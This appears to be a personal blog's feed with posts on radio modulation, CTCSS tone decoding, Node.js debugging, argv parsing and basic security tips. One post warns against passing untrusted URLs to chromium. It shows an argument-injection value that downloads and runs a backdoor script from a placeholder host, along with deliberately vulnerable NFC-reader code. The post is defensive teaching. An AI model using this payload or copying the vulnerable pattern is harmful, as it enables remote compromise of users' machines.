Jekyll2024-01-07T17:13:47+00:00https://nemanja.top/feed.xmlNemanjaJust a place where I write when I have something geeky to say.Radio modulation2024-01-07T00:00:00+00:002024-01-07T00:00:00+00:00https://nemanja.top/2024/01/07/radio-modulation<p>RF is like jumping into a pool with cold water. At first, you are like <em>WTF am I doing</em>, but, then, you realize, you are already creating some waves…</p>
<p>In this text I will talk how radio is encoding (modulating) data it is sending into RF signal.</p>
<p>Keep in mind a lot of this post is oversimplified, for sake of easier understanding.</p>
<h3 id="watching-waves">Watching waves</h3>
<p>At certain point of your life, you have probably stopped to observe behaviour of waves on a calm surface of a water.</p>
<p>Imagine there is a bobbing object somewhere in the middle of that water, creating waves. How are they moving? What is their amplitude (how high are they compared to the rest of the water surface)? What happens to them as they move away from the source of bobbing? What is the distance between them?</p>
<p><img src="/assets/ripple.jpg" alt="Photo of an ripple in water" /></p>
<p>Let’s start with answering the questions, one by one.</p>
<ul>
<li>How are they moving?</li>
</ul>
<p>If we have an object that is relatively small to water surface we are observing and it is impacting it at 90 degrees to the surface plane, we can expect that it will create circular waves.</p>
<ul>
<li>What is their amplitude?</li>
</ul>
<p>If we think about it, the harder we move that bobbing object, the bigger waves are. So, amplitude of wave is in proportion to the amount of water displaced by object bobbing.</p>
<ul>
<li>What is the distance between them?</li>
</ul>
<p>If we agree that wave is started each time we hit the surface of water, then, it makes sense to understand that distance depends on 2 things. First things is, how fast wave is travelling, second is, how often we impact the surface of water.</p>
<p>We have an method to express those values mathematicaly.</p>
<p>How often we hit the surface of water in unit of a time would be a frequency of that wave. Let’s say we are creating 10 waves a second, we could say that frequency of that wave is 10Hz.</p>
<p>Speed of movement is preaty obvious, we measure how much distance wave travels in unit of time and that is speed of wave.</p>
<p>Or if we want to express relationship between those two values, we can use what is called a wavelenth. Wavelength is distance wave crosses in the interval of one oscillation.</p>
<p><img src="/assets/water_surface.png" alt="" /></p>
<h3 id="using-waves-to-send-messages">Using waves to send messages</h3>
<p>Now that we understand some of the properties of waves, we need to figure out how to meaningfully use them.</p>
<p>What is the simplest thing we can do?</p>
<h4 id="am-modulation">AM modulation</h4>
<p>We can “encode” data in how hard we hit the water. For example, if you are familiar with morse code, you know you can encode each letter in sequences of <code class="language-plaintext highlighter-rouge">-</code> and <code class="language-plaintext highlighter-rouge">.</code>, you also need to take a break between letters.</p>
<p>Imagine that, you are hitting water at predefined intervals, either very hard, very soft or not at all. Somewhere else, where waves reach, someone can measure peaks of waves and determine if you are sending <code class="language-plaintext highlighter-rouge">-</code>, <code class="language-plaintext highlighter-rouge">.</code> or space.</p>
<p>That is what we call AM modulation. This is oversimplified, slow, weird version of AM, but, it is AM modulation.</p>
<p><img src="/assets/morse_am.png" alt="" /></p>
<p>(In reallity we never go to zero, and there always is small amount leftover of carrier)</p>
<p>But, what happens if we want to encode more that one character each wave? Well, this is where things get interesting.</p>
<p><img src="/assets/am_lobes.png" alt="" /></p>
<p>At this points, it looks like we have new waves with different frequency that is slightly shifted from main frequency. Imagine if it was analog signal we were multiplying, and not simple integers. Now we understand that by multiplying simple wave with different values, we end up with different frequencies. (The more data we encode, we have more width of frequency, or bandwith)</p>
<h4 id="fm-modulation">FM modulation</h4>
<p>Similar principle applies to FM modulation. In case of modulation, we are not changing how hard we are hitting surface of water, we are changing how often we are doing that.</p>
<p>In reality, FM modulation takes just a periodic wave and analog signal that is being modulated and changes how fast phase of signal changes based off that value. (or how fast object that is bobbing is moving, over time)</p>
<p><img src="/assets/fm.png" alt="" /></p>nemanjan00RF is like jumping into a pool with cold water. At first, you are like WTF am I doing, but, then, you realize, you are already creating some waves…Decoding CTCSS tone2023-01-16T00:00:00+00:002023-01-16T00:00:00+00:00https://nemanja.top/2023/01/16/decoding-ctcss-tone<h1 id="what-is-ctcss">What is CTCSS?</h1>
<p>There are many misconceptions about what CTCSS is on the internet. Some people think it is a form of encryption, authentification or security measure, which it is not. In reality, CTCSS is a form of sub-audible frequency tone used to reduce interference on shared radio frequencies. It allows multiple radios to use the same channel without interfering with each other’s transmissions.</p>
<p>CTCSS (Continuous Tone-Coded Squelch System) is is transmitted along with an analog audio signal. CTCSS helps to eliminate interference from other users on the same frequency and prevents unwanted transmissions from being received. When the CTCSS tone is received by the radio, it will open the squelch and allow the audio signal to be heard. When the CTCSS tone is not received, the radio will not open the squelch and the audio signal will not be heard.</p>
<h1 id="why-are-fm-radio-repeaters-using-it">Why are FM radio repeaters using it?</h1>
<p>FM radio repeaters use CTCSS to distinguish transmissions they need to repeat from unwanted noise. The repeater receiver can be programmed to only respond to signals that contain the specific tone. This way, the repeater will only repeat transmissions that have the specific tone, and ignore other signals that don’t contain the tone, including noise.</p>
<h1 id="how-can-we-find-out-what-ctcss-is-used-for-certain-repeater">How can we find out what CTCSS is used for certain repeater?</h1>
<p>CTCSS codes for ham radio repeaters should be public knowledge, as this helps to ensure that the repeater can be used by all users in the area. However, if you cannot find the CTCSS code for a particular repeater, one of ways is to figure it out from transmissions intended for that repeater using SDR.</p>
<p>A software defined radio (SDR) is a type of radio that can be programmed and controlled with software, rather than hardware components, to listen to and record a specific frequency or range of frequencies. To listen to and record a narrow FM signal, you will need a SDR that is capable of receiving and demodulating the signal, and then a software application that can record the signal to a WAV file. Some SDRs that can do this include the RTL-SDR, HackRF, and AirSpy. Additionally, there are several software applications that can be used to demodulate and record the signal, such as SDR#, GQRX, and CubicSDR.</p>
<p>A WAV file (Waveform Audio File Format) is an audio file format that is used to store audio data within a digital audio file. It preserves the original signal without any compression. This means that the original sound is not altered in any way. WAV files are typically used in applications where signal integrity is important.</p>
<p><img src="/assets/NFM_signal.png" alt="Recorded FM transmission with CTCSS" /></p>
<p>When a wav file is opened in Audacity, the audio can be seen as a waveform. In the silent parts of a recording, a sinusoid or sine wave should be visible. A sinusoid is a smooth, continuous line that represents a perfect sine wave.</p>
<p><img src="/assets/audio_signal.png" alt="Audio signal" /></p>
<p>Measuring the time interval of one oscillation of a sinusoid and dividing 1 second by it will give you the frequency of a CTCSS code. This is because in order to determine the frequency of a CTCSS code, you must measure the time it takes for one oscillation of the sinusoidal wave to occur. By dividing 1 second by this time interval, you will be able to calculate the frequency of the CTCSS code.</p>
<p>In this case, duration of single oscillation is around 8.13ms. Dividing 1s or 1000ms by 8.13ms, we get around 123Hz which in this case is exact value set on radio.</p>
<p>One trick for getting more precise measurement of duration of single oscillation is to measure duration of 10 or 20 of them and calculating single one from that.</p>nemanjan00What is CTCSS?How to print all rejections in NodeJS2022-05-02T00:00:00+00:002022-05-02T00:00:00+00:00https://nemanja.top/2022/05/02/how-to-print-all-rejections-in-nodejs<p>Did you forget to print error on rejection, in a huge project and are now having
issues debugging it? I wrote a snippet of code to solve that.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">promiseProto</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">global</span><span class="p">.</span><span class="nb">Promise</span><span class="p">(()</span> <span class="o">=></span> <span class="p">{}).</span><span class="nx">__proto__</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">originalCatch</span> <span class="o">=</span> <span class="nx">promiseProto</span><span class="p">.</span><span class="k">catch</span><span class="p">;</span> <span class="c1">// grab original catch implementation</span>
<span class="nx">promiseProto</span><span class="p">.</span><span class="k">catch</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(...</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// wrap around catch implementation, to print error</span>
<span class="kd">const</span> <span class="nx">originalCallback</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="p">(...</span><span class="nx">errArgs</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="nx">errArgs</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="nx">originalCallback</span><span class="p">(...</span><span class="nx">errArgs</span><span class="p">);</span>
<span class="p">};</span>
<span class="k">return</span> <span class="nx">originalCatch</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="nx">args</span><span class="p">);</span>
<span class="p">};</span>
<span class="nb">Promise</span><span class="p">.</span><span class="nx">reject</span><span class="p">(</span><span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Just a terrible error</span><span class="dl">"</span><span class="p">)).</span><span class="k">catch</span><span class="p">(()</span> <span class="o">=></span> <span class="p">{</span>
<span class="c1">// forgoten rejection</span>
<span class="p">});</span>
</code></pre></div></div>nemanjan00Did you forget to print error on rejection, in a huge project and are now having issues debugging it? I wrote a snippet of code to solve that.Do not run chrome from your app!2022-05-01T00:00:00+00:002022-05-01T00:00:00+00:00https://nemanja.top/2022/05/01/do-not-run-chrome-from-your-app<p>This is example how your user can be hacked if you misuse chromium to open web links.</p>
<h2 id="attack">Attack</h2>
<p>What I have seen people do is something like this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">url</span> <span class="o">=</span> <span class="s">"someurl"</span><span class="p">;</span> <span class="c1">// this is just pseudo-code</span>
<span class="n">execlp</span><span class="p">(</span><span class="s">"chromium"</span><span class="p">,</span> <span class="s">"chromium"</span><span class="p">,</span> <span class="n">url</span><span class="p">);</span>
</code></pre></div></div>
<p>What that does is it runs this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chromium someurl
</code></pre></div></div>
<p>And if they get something like this as parameter:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>url = `--utility-cmd-prefix='bash -c \" ls . ; curl http://someserver/backdoor.sh > backdoor.sh ; bash backdoor.sh ; ls . \"'`
</code></pre></div></div>
<p>What happens is user just got compromised…</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chromium --utility-cmd-prefix='bash -c \" ls . ; curl http://someserver/backdoor.sh > backdoor.sh ; bash backdoor.sh ; ls . \"'
</code></pre></div></div>
<p>To understand how big of issue this is I suggest reading <a href="https://nemanja.top/2022/05/01/why-argv-sucks-for-users">my post about command arguments</a>.</p>
<h2 id="real-danger-example-1-nfcqrcode">Real danger example 1 (NFC/QRcode)</h2>
<p>Now imagine you have just implemented NFC or QRcode reader…</p>
<p>You did not check url format, you passed it to chromium as url…</p>
<p><img src="/assets/rfid.png" alt="" /></p>
<p>Example vulnerable code:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">child_process</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">"</span><span class="s2">fs</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">ndefLibrary</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">ndef-lib</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">spawn</span><span class="p">(</span><span class="dl">"</span><span class="s2">nfc-mfultralight</span><span class="dl">"</span><span class="p">,</span> <span class="p">[</span><span class="dl">"</span><span class="s2">r</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">dump</span><span class="dl">"</span><span class="p">]).</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">close</span><span class="dl">"</span><span class="p">,</span> <span class="p">()</span> <span class="o">=></span> <span class="p">{</span>
<span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">./dump</span><span class="dl">"</span><span class="p">).</span><span class="nx">slice</span><span class="p">(</span><span class="mi">18</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">message</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">ndefLibrary</span><span class="p">.</span><span class="nx">NdefMessage</span><span class="p">.</span><span class="nx">fromByteArray</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">message</span><span class="p">.</span><span class="nx">_records</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">_payload</span><span class="p">).</span><span class="nx">toString</span><span class="p">(</span><span class="dl">"</span><span class="s2">utf8</span><span class="dl">"</span><span class="p">).</span><span class="nx">slice</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">shell</span> <span class="o">=</span> <span class="nx">spawn</span><span class="p">(</span><span class="dl">"</span><span class="s2">chromium</span><span class="dl">"</span><span class="p">,</span> <span class="p">[</span><span class="nx">url</span><span class="p">]);</span>
<span class="nx">shell</span><span class="p">.</span><span class="nx">stdout</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">data</span><span class="dl">"</span><span class="p">,</span> <span class="nx">data</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">""</span> <span class="o">+</span> <span class="nx">data</span><span class="p">);</span>
<span class="p">});</span>
<span class="nx">shell</span><span class="p">.</span><span class="nx">stderr</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">data</span><span class="dl">"</span><span class="p">,</span> <span class="nx">data</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">""</span> <span class="o">+</span> <span class="nx">data</span><span class="p">);</span>
<span class="p">});</span>
<span class="nx">shell</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">close</span><span class="dl">"</span><span class="p">,</span> <span class="p">(</span><span class="nx">code</span><span class="p">)</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">code</span><span class="p">);</span>
<span class="p">});</span>
<span class="p">});</span>
</code></pre></div></div>
<h2 id="real-danger-example-2-rss-readermail-client">Real danger example 2 (RSS reader/Mail client)</h2>
<p>What happens if you want to open link you just took from XML or JSON and you trust it is valid link?</p>
<p>You just pass it to chromium?</p>nemanjan00This is example how your user can be hacked if you misuse chromium to open web links.Why argv sucks for users2022-05-01T00:00:00+00:002022-05-01T00:00:00+00:00https://nemanja.top/2022/05/01/why-argv-sucks-for-users<p>There are some conventions and patterns that are part of so much software we are never getting rid of them.
One of those conventions defines how we pass arguments to applications.</p>
<p>For people who use command line applications and who are in contact with the arguments
the most, it is very easy to develope the tolerance to <strong>how fucked up they are</strong>.
For other people, they probably never even realized it.</p>
<p>Just for simplicity, I will stay away from argument passing in bash, variables, pipes…</p>
<h2 id="the-argument-prefix-monster">The argument prefix monster</h2>
<p>Just like the most people, my first contact with command-line applications was as user of
Windows and inside of <code class="language-plaintext highlighter-rouge">cmd.exe</code>.</p>
<p>Crazy thing about passing args in Windows, looking back at it is, Windows does not
use <code class="language-plaintext highlighter-rouge">-</code> for passing arguments, it uses <code class="language-plaintext highlighter-rouge">/</code>.</p>
<p>For example, on Windows, you will encounter something like this:</p>
<div class="language-batch highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">shutdown</span> <span class="na">/s /f /t </span><span class="m">0</span>
</code></pre></div></div>
<p>Now, some of you will say <em>no, that is not the truth, Windows also uses <code class="language-plaintext highlighter-rouge">-</code></em>.
And you would also be correct. This is just as valid:</p>
<div class="language-batch highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">shutdown</span> <span class="na">-s -f -t </span><span class="m">0</span>
</code></pre></div></div>
<p>It is just as valid, until it is not. Crazy thing is, it is up to developer to
parse those arguments and if developer decided to support only one of those, you
might make a misstake without realizing.</p>
<p>But Windows users do not use command-line as often as Linux users do, sure it is
done better on Linux, right?</p>
<p>How about no?</p>
<p>Truth be told, on Linux at least <code class="language-plaintext highlighter-rouge">/</code> is not used, but, now, we come to the issue of
<code class="language-plaintext highlighter-rouge">-</code> vs <code class="language-plaintext highlighter-rouge">--</code>.</p>
<p>We all know <code class="language-plaintext highlighter-rouge">-</code> is used for short version of argument name and <code class="language-plaintext highlighter-rouge">--</code> is used for long version, right?</p>
<p>Sure we do, until we do not. There are plenty of programs out there that just use <code class="language-plaintext highlighter-rouge">-</code>
for everything.</p>
<h2 id="the-argument-name-monster">The argument name monster</h2>
<p>Ok, but we can just try all try versions and be over with it, right, no big deal?</p>
<p>How about passing values for arguments?</p>
<p>There also are different ways:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># quick note that not all of these make sense as ls arguments and some of</span>
<span class="c"># them are here just for ilustration</span>
<span class="nb">ls</span> <span class="nt">--color</span><span class="o">=</span>always <span class="c"># ok, this looks simple enough</span>
<span class="nb">ls</span> <span class="nt">--color</span> always <span class="c"># wait, what, is = required or not?</span>
<span class="nb">ls</span> <span class="nt">-c</span> always
<span class="nb">ls</span> <span class="nt">-c</span><span class="o">=</span>always
<span class="nb">ls</span> <span class="nt">-calways</span> <span class="c"># WTF!? Why is this even option? I have seen this one used a lot.</span>
<span class="nb">ls</span> <span class="nt">-c</span> <span class="c"># Wait, what, what happens when you want argument without value? How is next thing parsed?</span>
<span class="nb">ls</span> <span class="nt">--color</span>
</code></pre></div></div>
<p>According to last 2 examples now we know that other than type of prefix used,
there is another issue preventing generic parsers for arguments.</p>
<h2 id="the-argument-value-monster">The argument value monster</h2>
<p>At least values are simple, right?</p>
<p>Not at all. Values are probably the craziest one so far…</p>
<p>What if you want your value to begin with <code class="language-plaintext highlighter-rouge">-</code>?</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-c</span> <span class="s2">"</span><span class="se">\-</span><span class="s2">always"</span> <span class="c"># this is the way to do it,</span>
<span class="c"># but it is so inconsistently implemented and unintuitive...</span>
</code></pre></div></div>
<p>What if you want your value to be empty string?</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-c</span> <span class="s2">""</span> <span class="c"># this one is consistent, but also might not be intuitive for everyone</span>
</code></pre></div></div>
<p>What if you need to pass multiple values?</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-c</span> a <span class="nt">-c</span> l <span class="nt">-c</span> w <span class="nt">-c</span> a
<span class="nb">ls</span> <span class="nt">-c</span> <span class="s2">"a l w a y s"</span>
<span class="nb">ls</span> <span class="nt">-c</span> <span class="s2">"a,l,w,a,y,s"</span>
<span class="nb">ls</span> <span class="nt">-c</span> <span class="s2">"a, l, w, a, y, s"</span>
<span class="nb">ls</span> <span class="nt">-ca</span> a <span class="c"># yes, there are multichar short names</span>
</code></pre></div></div>
<p>What if value is multiline?
…</p>
<p>The point is, there are a lot of edge cases implemented on per application basis.</p>
<h2 id="unnamed-arguments-monster">Unnamed arguments monster</h2>
<p>Ok, those are simple, just pass them as documented, right?</p>
<p>What if there are multiple optional arguments?</p>
<p>Is order of named and unnamed arguments important? The problem I encounter most ofthen
is that parsers expect named arguments to go first, and unnamed later, but, you would be wrong
to assume that is always the case.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ffmpeg <span class="nt">-ss</span> 50 <span class="nt">-i</span> video1.mp4 <span class="nt">-c</span> copy <span class="nt">-t</span> 10 video2.mp4
</code></pre></div></div>
<h2 id="completly-crazy-examples">Completly crazy examples</h2>
<p>One example of complete lack of any respect for convention is <code class="language-plaintext highlighter-rouge">dig</code>. Example would be:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dig <span class="nt">-4</span> +all google.com @8.8.8.8
</code></pre></div></div>
<p>Believe it or not, this is valid and expected way to use <code class="language-plaintext highlighter-rouge">dig</code>.</p>nemanjan00There are some conventions and patterns that are part of so much software we are never getting rid of them. One of those conventions defines how we pass arguments to applications.Daily security tips 3: Open Ports2018-06-30T00:00:00+00:002018-06-30T00:00:00+00:00https://nemanja.top/2018/06/30/daily-security-tips-3-open-ports<p>Imagine each and every port that is open on your computer as a potential door to your computer, for malicious person.</p>
<p>Every single door more is one more potential door your attacker can open.</p>
<p>So, what can you do after this?</p>
<h1 id="1-know-your-computer-networking">1. Know your computer networking</h1>
<p>To see all of TCP the ports open on your computer, use this command:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netstat <span class="nt">-tlpn</span>
</code></pre></div></div>
<p>For UDP ports, use:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>netatal <span class="nt">-ulpn</span>
</code></pre></div></div>
<h2 id="11-what-to-look-for">1.1 What to look for?</h2>
<p>First thing you need to look at is at which interface program is listening at.</p>
<p>First figure out which IP is on which interface.</p>
<p>For example:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ifconfig
enp0s25: <span class="nv">flags</span><span class="o">=</span>4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 3c:97:0e:0f:5c:6b txqueuelen 1000 <span class="o">(</span>Ethernet<span class="o">)</span>
RX packets 0 bytes 0 <span class="o">(</span>0.0 B<span class="o">)</span>
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 <span class="o">(</span>0.0 B<span class="o">)</span>
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
device memory 0xe1600000-e1620000
lo: <span class="nv">flags</span><span class="o">=</span>73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 <span class="o">(</span>Local Loopback<span class="o">)</span>
RX packets 1099393 bytes 2018987222 <span class="o">(</span>1.8 GiB<span class="o">)</span>
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1099393 bytes 2018987222 <span class="o">(</span>1.8 GiB<span class="o">)</span>
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
tun0: <span class="nv">flags</span><span class="o">=</span>4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1304
inet6 fc15:9d75:e614:a0e1:17a0:61d4:341d:b5dd prefixlen 8 scopeid 0x0<global>
inet6 fe80::c39b:ac2a:eac6:6ab9 prefixlen 64 scopeid 0x20<<span class="nb">link</span><span class="o">></span>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 500 <span class="o">(</span>UNSPEC<span class="o">)</span>
RX packets 32 bytes 2728 <span class="o">(</span>2.6 KiB<span class="o">)</span>
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 69 bytes 4400 <span class="o">(</span>4.2 KiB<span class="o">)</span>
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlp2s0: <span class="nv">flags</span><span class="o">=</span>4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.17 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::95de:a8ca:ddb9:ac84 prefixlen 64 scopeid 0x20<<span class="nb">link</span><span class="o">></span>
ether 1e:93:85:2d:6a:b7 txqueuelen 1000 <span class="o">(</span>Ethernet<span class="o">)</span>
RX packets 3893447 bytes 3986568321 <span class="o">(</span>3.7 GiB<span class="o">)</span>
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2923905 bytes 733067221 <span class="o">(</span>699.1 MiB<span class="o">)</span>
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wwp0s20u4i6: <span class="nv">flags</span><span class="o">=</span>4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 02:15:e0:ec:01:00 txqueuelen 1000 <span class="o">(</span>Ethernet<span class="o">)</span>
RX packets 0 bytes 0 <span class="o">(</span>0.0 B<span class="o">)</span>
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 <span class="o">(</span>0.0 B<span class="o">)</span>
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
</code></pre></div></div>
<p>This is my <code class="language-plaintext highlighter-rouge">ifconfig</code> output.</p>
<p>If you do not have <code class="language-plaintext highlighter-rouge">ifconfig</code> command, you can also use <code class="language-plaintext highlighter-rouge">ip addr</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
<span class="nb">link</span>/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp0s25: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
<span class="nb">link</span>/ether 3c:97:0e:0f:5c:6b brd ff:ff:ff:ff:ff:ff
3: wlp2s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
<span class="nb">link</span>/ether 1e:93:85:2d:6a:b7 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.17/24 brd 192.168.1.255 scope global dynamic noprefixroute wlp2s0
valid_lft 49655sec preferred_lft 49655sec
inet 192.168.1.254/24 brd 192.168.1.255 scope global secondary noprefixroute wlp2s0
valid_lft forever preferred_lft forever
inet6 fe80::95de:a8ca:ddb9:ac84/64 scope <span class="nb">link </span>noprefixroute
valid_lft forever preferred_lft forever
4: wwp0s20u4i6: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
<span class="nb">link</span>/ether 02:15:e0:ec:01:00 brd ff:ff:ff:ff:ff:ff
19: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1304 qdisc fq_codel state UNKNOWN group default qlen 500
<span class="nb">link</span>/none
inet6 fc15:9d75:e614:a0e1:17a0:61d4:341d:b5dd/8 scope global
valid_lft forever preferred_lft forever
inet6 fe80::c39b:ac2a:eac6:6ab9/64 scope <span class="nb">link </span>stable-privacy
valid_lft forever preferred_lft forever
</code></pre></div></div>
<p>So, in my case, I am connected to wifi and my IP is <code class="language-plaintext highlighter-rouge">192.168.1.17</code>.</p>
<p>I am also connected to VPN and IP is <code class="language-plaintext highlighter-rouge">fc15:9d75:e614:a0e1:17a0:61d4:341d:b5dd</code>.</p>
<p>If application is listening at <code class="language-plaintext highlighter-rouge">0.0.0.0</code> or <code class="language-plaintext highlighter-rouge">::</code>, that means it is listening on all interfaces.</p>
<p>If application is listening at <code class="language-plaintext highlighter-rouge">127.0.0.1</code> or <code class="language-plaintext highlighter-rouge">::1</code>, that means it is listening only on a virtual loopback device.</p>
<p>To figure out which application it is, take a look at <code class="language-plaintext highlighter-rouge">PID/Program name</code> row.</p>
<p>If there is no name for program, run command as root.</p>
<p>If PID is 1, that probbably means systemd is forwarding file socket to TCP/UDP port.</p>
<h2 id="12-what-do-you-want-to-accomplish">1.2 What do you want to accomplish?</h2>
<p>You probably do dot want applications listening on any other interface except loopback if it does not have to.</p>nemanjan00Imagine each and every port that is open on your computer as a potential door to your computer, for malicious person.Daily security tips 1: hostname2018-06-28T00:00:00+00:002018-06-28T00:00:00+00:00https://nemanja.top/2018/06/28/daily-security-tips-1-hostname<p>When you connect your computer to new network, what it does to acquire networking settings like Gateway, DNS, network mask, etc. is it uses DHCP protocol.</p>
<p>If you ever logged into router settings or tried sniffing DHCP traffic, what you would see is there you can see hostname of computer that is connecting.</p>
<p>Why is that a bad thing? Well, does everyone on network has to know who you are, when you, for example, connect to local coffee shop WiFi?</p>
<p>So, what is the solution?</p>
<p>For linux users (if your distro is using dhcpclient), just comment out <code class="language-plaintext highlighter-rouge">hostname</code> line in your <code class="language-plaintext highlighter-rouge">/etc/dhcpcd.conf</code>.</p>nemanjan00When you connect your computer to new network, what it does to acquire networking settings like Gateway, DNS, network mask, etc. is it uses DHCP protocol.Daily security tips 2: DNS2018-06-28T00:00:00+00:002018-06-28T00:00:00+00:00https://nemanja.top/2018/06/28/daily-security-tips-2-dns<p>When you open your web browser and type <code class="language-plaintext highlighter-rouge">pornhub.com</code> into your address bar, what happens in most networks is, your PC asks your router: “Hey, router, what is the address of pornhub.com? “ In case your router knows the address, it will send the response to you. If it does not know, it will ask your ISPs DNS server.</p>
<p>In short, admin of your network, anyone sniffing your network and yourt ISP know you have just visited pornhub…</p>
<p>And, in the case someone is doing MITM attack, they can even change the response to your query.</p>
<p>What the best solution currently is to use <a href="https://github.com/jedisct1/dnscrypt-proxy">dnscrypt</a>.</p>
<p>If you are Arch linux user like myself, you can just install it from the repo:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo pacman -S dnscrypt-proxy
</code></pre></div></div>
<p>After that, You need to enable its socker.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo systemctl enable dnscrypt-proxy.socker
</code></pre></div></div>
<p>NOTE: Keep in mind that at the momment I am writing this blog post, socket is brocken in the latest version of dnscrypt-proxy, so, you will need to use service instead or to install dnscrypt 2.0.14-2…</p>
